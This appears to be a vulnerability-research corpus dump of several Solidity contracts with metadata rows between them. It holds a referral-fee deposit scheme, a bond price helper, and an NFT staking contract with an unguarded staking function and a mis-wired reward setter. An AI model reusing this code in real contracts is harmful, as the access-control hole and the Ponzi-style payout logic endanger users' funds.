uint marketingFee = msgValue.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
uint projectFee = msgValue.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
uint adminFee = msgValue.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
uint network = msgValue.mul(NETWORK).div(PERCENTS_DIVIDER);
marketingAddress.transfer(marketingFee);
projectAddress.transfer(projectFee);
adminAddress.transfer(adminFee);
networkAddress.transfer(network);
emit FeePayed(msg.sender, marketingFee.add(projectFee).add(network));
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
// else{
// user.referrer = adminAddress;
// }
// uint refbackAmount;
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint i = 0; i < 11; i++) {
if (upline != address(0)) {
uint amount = msgValue.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
// }
if (amount > 0) {
address(uint160(upline)).transfer(amount);
users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));
totalRefBonus = totalRefBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = uint32(block.timestamp);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(uint64(msgValue), 0, uint32(block.timestamp)));
totalInvested = totalInvested.add(msgValue);
totalDeposits++;
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
emit NewDeposit(msg.sender, msgValue);
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(2);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserLastDeposit(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
return user.checkpoint;
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].amount));
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = user.bonus;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].withdrawn));
}
return amount;
}
function getCurrentHalfDay() public view returns (uint) {
return (block.timestamp.sub(contractCreationTime)).div(TIME_STEP.div(2));
}
// function getCurrentDayLimit() public view returns (uint) {
// uint limit;
// uint currentDay = (block.timestamp.sub(contractCreation)).div(TIME_STEP);
// if (currentDay == 0) {
// limit = DAY_LIMIT_STEPS[0];
// } else if (currentDay == 1) {
// limit = DAY_LIMIT_STEPS[1];
// } else if (currentDay >= 2 && currentDay <= 5) {
// limit = DAY_LIMIT_STEPS[1].mul(currentDay);
// } else if (currentDay >= 6 && currentDay <= 19) {
// limit = DAY_LIMIT_STEPS[2].mul(currentDay.sub(3));
// } else if (currentDay >= 20 && currentDay <= 49) {
// limit = DAY_LIMIT_STEPS[3].mul(currentDay.sub(11));
// } else if (currentDay >= 50) {
// limit = DAY_LIMIT_STEPS[4].mul(currentDay.sub(30));
// }
// return limit;
// }
function getCurrentHalfDayTurnover() public view returns (uint) {
return turnover[getCurrentHalfDay()];
}
// function getCurrentHalfDayAvailable() public view returns (uint) {
// return getCurrentDayLimit().sub(getCurrentHalfDayTurnover());
// }
function getUserDeposits(address userAddress, uint last, uint first) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
User storage user = users[userAddress];
uint count = first.sub(last);
if (count > user.deposits.length) {
count = user.deposits.length;
}
uint[] memory amount = new uint[](count);
uint[] memory withdrawn = new uint[](count);
uint[] memory refback = new uint[](count);
uint[] memory start = new uint[](count);
uint index = 0;
for (uint i = first; i > last; i--) {
amount[index] = uint(user.deposits[i-1].amount);
withdrawn[index] = uint(user.deposits[i-1].withdrawn);
// refback[index] = uint(user.deposits[i-1].refback);
start[index] = uint(user.deposits[i-1].start);
index++;
}
return (amount, withdrawn, refback, start);
}
function getSiteStats() public view returns (uint, uint, uint, uint) {
return (totalInvested, totalDeposits, address(this).balance, contractPercent);
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint) {
uint userPerc = getUserPercentRate(userAddress);
uint userAvailable = getUserAvailable(userAddress);
uint userDepsTotal = getUserTotalDeposits(userAddress);
uint userDeposits = getUserAmountOfDeposits(userAddress);
uint userWithdrawn = getUserTotalWithdrawn(userAddress);
return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn);
}
function getUserReferralsStats(address userAddress) public view returns (address, uint64, uint24[11] memory) {
User storage user = users[userAddress];
return (user.referrer, user.bonus, user.refs);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 292,830 | 680 |
f1a8c29e80d85badd5bc37d50d3c19a7761cb535919dc12646427ae96b8514d7
| 18,675 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/61/61b140fc6c8844dec9d72e544af05b15965842fb_BondPriceHelperV2.sol
| 2,973 | 12,133 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IBond{
function initializeBondTerms(uint _controlVariable,
uint _vestingTerm,
uint _minimumPrice,
uint _maxPayout,
uint _fee,
uint _maxDebt,
uint _initialDebt) external;
function totalDebt() external view returns(uint);
function isLiquidityBond() external view returns(bool);
function bondPrice() external view returns (uint);
function terms() external view returns(uint controlVariable, // scaling variable for price
uint vestingTerm, // in blocks
uint minimumPrice, // vs principle value
uint maxPayout, // in thousandths of a %. i.e. 500 = 0.5%
uint fee, // as % of bond payout, in hundreths. (500 = 5% = 0.05 for every 1 paid)
uint maxDebt // 9 decimal debt ratio, max % total supply created as debt);
}
contract BondPriceHelperV2 is Ownable {
using SafeMath for uint256;
address public realOwner;
mapping(address => bool) public executors;
mapping(address => bool) public bonds;
constructor (address _realOwner) {
require(_realOwner != address(0));
realOwner = _realOwner;
}
function addExecutor(address executor) external onlyManager{
executors[executor]=true;
}
function removeExecutor(address executor) external onlyManager{
delete executors[executor];
}
function addBond(address bond) external onlyManager{
//IBond(bond).bondPrice();
IBond(bond).terms();
IBond(bond).isLiquidityBond();
bonds[bond]=true;
}
function removeBond(address bond) external onlyManager{
delete bonds[bond];
}
function recal(address bond,uint percent) view internal returns(uint){
if(IBond(bond).isLiquidityBond()) return percent;
else{
uint price=IBond(bond).bondPrice();
return price.mul(percent).sub(1000000).div(price.sub(100));
}
}
function viewPriceAdjust(address bond,uint percent) view external returns(uint _controlVar,uint _oldControlVar,uint _minPrice,uint _oldMinPrice,uint _price){
uint price=IBond(bond).bondPrice();
(uint controlVariable, , uint minimumPrice,, ,)=
IBond(bond).terms();
if(minimumPrice==0){
return (controlVariable.mul(recal(bond,percent)).div(10000),
controlVariable,
minimumPrice,
minimumPrice,
price);
}else
return (controlVariable,
controlVariable,
minimumPrice.mul(percent).div(10000),
minimumPrice,
price);
}
function adjustPrice(address bond,uint percent) external{
if(percent==0)return;
require(percent>8000&&percent<12000,"price adjustment can't be more than 20%");
require(executors[msg.sender]==true,'access deny for price adjustment');
(uint controlVariable, uint vestingTerm, uint minimumPrice,uint maxPayout, uint fee, uint maxDebt)=
IBond(bond).terms();
if(minimumPrice==0){
IBond(bond).initializeBondTerms(controlVariable.mul(recal(bond,percent)).div(10000),
vestingTerm,
minimumPrice,
maxPayout,
fee,
maxDebt,
IBond(bond).totalDebt());
}else
IBond(bond).initializeBondTerms(controlVariable,
vestingTerm,
minimumPrice.mul(percent).div(10000),
maxPayout,
fee,
maxDebt,
IBond(bond).totalDebt());
}
function returnOwnership(address bond) external onlyManager(){
IOwnable(bond).pushManagement(realOwner);
}
function receiveOwnership(address bond) external onlyManager(){
IOwnable(bond).pullManagement();
}
}
| 322,986 | 681 |
f17fe4111b18aa08ae4f89435b9130590bbf010572def80c999d002cd22da70c
| 18,505 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/18/18656ac774ed3b538655c4677a7c2cc4c243d68c_Berry_Staking_V1.sol
| 4,854 | 17,648 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burnbyContract(uint256 _amount) external;
function withdrawStakingReward(address _address,uint256 _amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC721 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from,address to,uint256 tokenId) external;
function transferFrom(address from,address to,uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from,address to,uint256 tokenId,bytes calldata data) external;
function getFreeMintingTime(uint256 tokenId) external view returns(uint256);
function getDutchMintingTime(uint256 tokenId) external view returns(uint256);
function getIdType(uint256 tokenId) external view returns(uint256);
function overridee(uint256 tokenId) external;
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Berry_Staking_V1 is Ownable{
using SafeMath for uint256;
IERC20 public Token;
IERC721 public NFT;
constructor (IERC721 NFT_, IERC20 token_){
NFT = NFT_;
Token = token_;
}
///////////////////////////////////////////////////////////////
uint256 public slotTime = 1 minutes;
uint256 public rewTime = 3; // 1440
uint256 public rewardFreeMint = 20;
uint256 public rewardDutchMint = 100;
uint256 public genesisRewarad = 150;
uint256 public commonReward = 10; // 10 token/day for pre/public sale
uint256 public finalTimeForFreeMint = 7 minutes; // 150 days
uint256 public finalTimeForDutchMint = 5 minutes; // 100 days
uint256 public maxNoOfdaysForFreeMint = 7; // 216000
uint256 public maxNoOfdaysForDutchMint = 5; // 144000
uint256 public bonusReward = 300 ether; // 300 token bonus
struct User
{
uint256 TotalWithdrawn;
uint256 TotalStaked;
}
mapping(address => uint256[]) public lockedTokenIds;
mapping(address => mapping(uint256 => uint256)) public lockedStakingTime;
mapping(address => User) public UserInfo;
mapping(address=>uint256) public lockedTotalStakedNft;
mapping (address => bool) public alreadyAwarded;
mapping(address => mapping(uint256 => uint256)) public rewardedAmount;
modifier onlyMinter(){
require(msg.sender == address(NFT), "caller is not the minter");
_;
}
function lockedStaking(address _user, uint256 tokenId) external
// onlyMinter
{
lockedTokenIds[_user].push(tokenId);
lockedStakingTime[_user][tokenId] = block.timestamp;
UserInfo[_user].TotalStaked += 1;
lockedTotalStakedNft[_user] += 1;
}
function calcTime(uint256 tokenID) public view returns(uint256) {
uint256 rewardTime;
if(NFT.getIdType(tokenID) == 1){
if(NFT.getFreeMintingTime(tokenID) > 0){
rewardTime += (block.timestamp.sub(NFT.getFreeMintingTime(tokenID))).div(slotTime);
if(rewardTime >= maxNoOfdaysForFreeMint){
rewardTime = maxNoOfdaysForFreeMint;
}
}
}
else if(NFT.getIdType(tokenID) == 2){
if(NFT.getDutchMintingTime(tokenID) > 0){
rewardTime += (block.timestamp.sub(NFT.getDutchMintingTime(tokenID))).div(slotTime);
if(rewardTime >= maxNoOfdaysForDutchMint){
rewardTime = maxNoOfdaysForDutchMint;
}
}
}
return rewardTime;
}
function lockedReward(address _user, uint256 tokenId) public view returns(uint256 idReward_){
uint256 reward =0;
uint256 noOfDays = calcTime(tokenId);
if(NFT.getIdType(tokenId) == 1){
reward += (((noOfDays).mul(rewardFreeMint).mul(1 ether))).div(rewTime);
}
else if(NFT.getIdType(tokenId) == 2){
reward += (((noOfDays).mul(rewardDutchMint)).mul(1 ether)).div(rewTime);
}
return (reward - rewardedAmount[_user][tokenId]);
}
function lockedWithdrawReward(uint256 tokenId) public {
address _user = msg.sender;
uint256 TotalReward;
uint256 reward = lockedReward(_user, tokenId);
rewardedAmount[_user][tokenId] += reward;
if(!alreadyAwarded[_user]){
alreadyAwarded[_user] = true; // true the tokenId type
}
TotalReward = (reward+getBonus(_user));
Token.transfer(_user, reward);
UserInfo[_user].TotalWithdrawn += reward;
}
// this will use in single reward function for presale and public sale mint
function getTokenIdTime(uint256 tokenId) public view returns(uint256){
uint256 MintTime;
if(NFT.getIdType(tokenId) == 1){
MintTime = NFT.getFreeMintingTime(tokenId);
}
else if(NFT.getIdType(tokenId) == 2){
MintTime = NFT.getDutchMintingTime(tokenId);
}
return MintTime;
}
function lockedSingleUnStake(uint256 tokenId) public {
address _user = msg.sender;
uint256 _index = findIndex(tokenId);
require(block.timestamp
> (getTokenIdTime(lockedTokenIds[_user][_index])
+finalTimeForFreeMint),
"time not reached for free mint");
require(block.timestamp
> (getTokenIdTime(lockedTokenIds[_user][_index])
+finalTimeForDutchMint),
"time not reached for dutch mint");
lockedWithdrawReward(tokenId);
NFT.transferFrom(address(this), address(_user), tokenId);
// NFT.transferFrom(address(this), address(_user), lockedTokenIds[_user][_index]);
delete lockedTokenIds[_user][_index];
lockedTokenIds[_user][_index] = lockedTokenIds[_user][lockedTokenIds[_user].length - 1];
lockedTokenIds[_user].pop();
rewardedAmount[_user][tokenId] = 0;
NFT.overridee(tokenId);
UserInfo[_user].TotalStaked -= 1;
lockedTotalStakedNft[_user]>0?lockedTotalStakedNft[_user] -= 1 : lockedTotalStakedNft[_user]=0;
}
function lockedUnstakeAll() public {
address _user = msg.sender;
uint256 _index;
uint256[] memory tokenIds = getIds(_user);
require(tokenIds.length > 0, "you have no Id to unstake");
for(uint256 i; i< tokenIds.length; i++){
_index = findIndex(tokenIds[i]);
lockedWithdrawReward(lockedTokenIds[_user][_index]);
NFT.transferFrom(address(this), address(_user), lockedTokenIds[_user][_index]);
NFT.overridee(lockedTokenIds[_user][_index]);
delete lockedTokenIds[_user][_index];
lockedTokenIds[_user][_index] = lockedTokenIds[_user][lockedTokenIds[_user].length - 1];
rewardedAmount[_user][tokenIds[i]] = 0;
lockedTokenIds[_user].pop();
UserInfo[_user].TotalStaked -= 1;
lockedTotalStakedNft[_user]>0?lockedTotalStakedNft[_user] -= 1 : lockedTotalStakedNft[_user]=0;
}
}
function getIds(address _user) public view returns(uint256[] memory){
uint256[] memory tokenIds = new uint256[](getTotalIds(_user).length);
for (uint256 i=0; i< getTotalIds(_user).length; i++){
if(calcTime(lockedTokenIds[_user][i]) == maxNoOfdaysForFreeMint
||
calcTime(lockedTokenIds[_user][i]) == maxNoOfdaysForDutchMint)
{
tokenIds[i] = lockedTokenIds[_user][i];
}
}
return tokenIds;
}
function getIDType(uint256 tokenId) public view returns(uint256){
return NFT.getIdType(tokenId);
}
function getTotalIds(address _user) public view returns(uint256[] memory){
return lockedTokenIds[_user];
}
function findIndex(uint256 value) public view returns(uint256){
uint256 i = 0;
while(lockedTokenIds[msg.sender][i] != value){
i++;
}
return i;
}
function remainingTime(uint256 tokenId) public view returns(uint256){
uint256 _remainingTime = ((NFT.getFreeMintingTime(tokenId)).add(finalTimeForFreeMint)).sub(block.timestamp);
return _remainingTime;
}
struct user
{
uint256 totlaWithdrawn;
uint256 myNFT;
uint256 availableToWithdraw;
}
mapping(address => mapping(uint256 => uint256)) public userStakingTime;
mapping(address => user) public User_Info;
mapping(address => uint256[]) public userTokenIds;
mapping(address=>uint256) public TotalUserStakedNft;
///////////////////////////////////////////////////////////////////////
function Stake(uint256[] memory tokenId) external
{
for(uint256 i=0;i<tokenId.length;i++){
require(NFT.ownerOf(tokenId[i]) == msg.sender,"nft not found");
NFT.transferFrom(msg.sender,address(this),tokenId[i]);
userTokenIds[msg.sender].push(tokenId[i]);
userStakingTime[msg.sender][tokenId[i]]=block.timestamp;
}
User_Info[msg.sender].myNFT += tokenId.length;
TotalUserStakedNft[msg.sender]+=tokenId.length;
}
// function normalCalcTime(uint256 tokenId) public view returns(uint256){
// return timeSlot;
// }
function userSingleReward(address _user,uint256 tokenId) public view returns(uint256 tokenIdReward_){
uint256 reward = 0;
uint256 timeSlot = ((block.timestamp).sub(getTime(_user, tokenId))).div(slotTime);
if(NFT.getIdType(tokenId) == 3){
if(getTime(_user, tokenId) > 0){
reward += ((timeSlot).mul(commonReward).mul(1 ether)).div(rewTime);
}
}
else if(NFT.getIdType(tokenId) == 4){
if(getTime(_user, tokenId) > 0){
reward += ((timeSlot).mul(genesisRewarad).mul(1 ether)).div(rewTime);
}
}
return (reward - rewardedAmount[_user][tokenId]);
}
// function userTotalReward(address _user) public view returns(uint256) {
// uint256[] memory tokenIds = userStakedNFT(_user);
// uint256 reward;
// for(uint256 i; i< tokenIds.length; i++){
// reward += userSingleReward(_user, tokenIds[i]);
// }
// return reward;
// }
function withDrawReward(uint256 TokenId) public {
address _user = msg.sender;
uint256 TotalReward;
uint256 reward = userSingleReward(_user, TokenId);
require(reward > 0,"you don't have reward yet!");
if(!alreadyAwarded[_user]){
alreadyAwarded[_user] = true; // true the tokenId type
}
TotalReward = (reward+getBonus(_user));
Token.transfer(_user, TotalReward);
rewardedAmount[_user][TokenId] += reward;
User_Info[msg.sender].totlaWithdrawn += reward;
}
function find(uint value) public view returns(uint) {
uint i = 0;
while (userTokenIds[msg.sender][i] != value) {
i++;
}
return i;
}
function unstake(uint256 _tokenId) external
{
address _user = msg.sender;
withDrawReward(_tokenId);
uint256 _index=find(_tokenId);
require(userTokenIds[msg.sender][_index] ==_tokenId ,"NFT with this _tokenId not found");
NFT.transferFrom(address(this),msg.sender,_tokenId);
delete userTokenIds[msg.sender][_index];
userTokenIds[msg.sender][_index]=userTokenIds[msg.sender][userTokenIds[msg.sender].length-1];
userStakingTime[msg.sender][_tokenId]=0;
rewardedAmount[_user][_tokenId] = 0;
userTokenIds[msg.sender].pop();
User_Info[msg.sender].myNFT -= 1;
TotalUserStakedNft[msg.sender] > 0 ? TotalUserStakedNft[msg.sender] -= 1 : TotalUserStakedNft[msg.sender]=0;
// emit unstakeSingle(msg.sender, _tokenId);
}
function unStakeAll(uint256[] memory _tokenIds) external
{
address _user = msg.sender;
for(uint256 i=0;i<_tokenIds.length;i++){
uint256 _index=find(_tokenIds[i]);
require(userTokenIds[msg.sender][_index] ==_tokenIds[i] ,"NFT with this _tokenId not found");
withDrawReward(_tokenIds[i]);
NFT.transferFrom(address(this), msg.sender, _tokenIds[i]);
delete userTokenIds[msg.sender][_index];
userTokenIds[msg.sender][_index ] = userTokenIds[msg.sender][userTokenIds[msg.sender].length-1];
rewardedAmount[_user][_tokenIds[i]] = 0;
userTokenIds[msg.sender].pop();
userStakingTime[msg.sender][_tokenIds[i]]=0;
}
User_Info[msg.sender].myNFT -= _tokenIds.length;
TotalUserStakedNft[msg.sender]>0?TotalUserStakedNft[msg.sender] -= _tokenIds.length:TotalUserStakedNft[msg.sender]=0;
}
function isNormalStaked(address _stakeHolder)public view returns(bool){
if(TotalUserStakedNft[_stakeHolder]>0){
return true;
}else{
return false;
}
}
function userStakedNFT(address _staker)public view returns(uint256[] memory) {
return userTokenIds[_staker];
}
function getTime(address _user, uint256 tokenId) public view returns(uint256){
uint256 _time;
uint256 _type = getIDType(tokenId);
if(_type == 1){
_time = NFT.getFreeMintingTime(tokenId);
}
else if(_type == 2){
_time = NFT.getDutchMintingTime(tokenId);
}
else{
_time = userStakingTime[_user][tokenId];
}
return _time;
}
function getReward(address _user, uint256 tokenId) public view returns(uint256){
uint256 _reward;
if(NFT.getIdType(tokenId) == 1 || NFT.getIdType(tokenId) == 2){
_reward = lockedReward(_user, tokenId);
}
else if(NFT.getIdType(tokenId) == 3 || NFT.getIdType(tokenId) == 4){
_reward = userSingleReward(_user, tokenId);
}
return _reward;
}
function getBonus(address _user) public view returns(uint256){
if(!alreadyAwarded[_user]){
return bonusReward;
}
else{
return 0;
}
}
// ===========================================================
// ========================= ADMIN ===========================
function setFreeMintReward(uint256 tokenIdReward) public onlyOwner{
rewardDutchMint = tokenIdReward;
}
function setDutchMintReward(uint256 tokenIdReward) public onlyOwner{
rewardDutchMint = tokenIdReward;
}
function setPublicReward(uint256 tokenIdReward) public onlyOwner{
commonReward = tokenIdReward;
}
function setGenesisReward(uint256 tokenIdReward) public onlyOwner{
genesisRewarad = tokenIdReward;
}
function getStakingTime(address _user, uint256 tokenId) public view returns(uint256){
return userStakingTime[_user][tokenId];
}
}
| 113,966 | 682 |
cbd90944af1b6d7716813d11b3c08ad948eb98c4ee96f3415784ca8c923800d4
| 18,728 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs_wild/cfg/raw_source_code/0x4a479d44678c68ee7f193610b53dec6cc514d643.sol
| 4,588 | 18,241 |
pragma solidity 0.4.18;
contract Token { // ERC20 standard
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract SafeMath {
function safeMul(uint a, uint b) pure internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) pure internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) pure internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function safeNumDigits(uint number) pure internal returns (uint8) {
uint8 digits = 0;
while (number != 0) {
number /= 10;
digits++;
}
return digits;
}
// mitigate short address attack
// TODO: doublecheck implication of >= compared to ==
modifier onlyPayloadSize(uint numWords) {
assert(msg.data.length >= numWords * 32 + 4);
_;
}
}
contract StandardToken is Token, SafeMath {
uint256 public totalSupply;
function transfer(address _to, uint256 _value) onlyPayloadSize(2) public returns (bool success) {
require(_to != address(0));
require(balances[msg.sender] >= _value && _value > 0);
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3) public returns (bool success) {
require(_to != address(0));
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0);
balances[_from] = safeSub(balances[_from], _value);
balances[_to] = safeAdd(balances[_to], _value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
// To change the approve amount you first have to reduce the addresses'
// allowance to zero by calling 'approve(_spender, 0)' if it is not
// already 0 to mitigate the race condition described here:
